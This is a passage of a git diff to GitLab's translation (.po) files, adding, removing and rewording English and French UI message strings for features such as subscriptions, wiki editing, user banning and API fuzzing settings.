msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index 2ce93ea1541..55cdf87e819 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:18\n"
+"PO-Revision-Date: 2021-06-01 20:34\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d couche"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "Les %{group_docs_link_start}groupes%{group_docs_link_end} vous permettent de gérer plusieurs projets et d’y collaborer. Les membres d’un groupe ont accès à tous ses projets."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}En savoir plus%{link_end} sur les droits des rôles"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr "épopées %{state}"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Profil de %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "Un utilisateur supprimé"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Un projet est l’endroit où vous hébergez vos fichiers (dépôt), planifiez votre travail (tickets) et publiez votre documentation (wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Ajouter une liste à puces"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Espace d’administration"
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Spécifiez un domaine à utiliser par défaut pour les étapes Auto Review Apps et Auto Deploy de chaque projet."
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
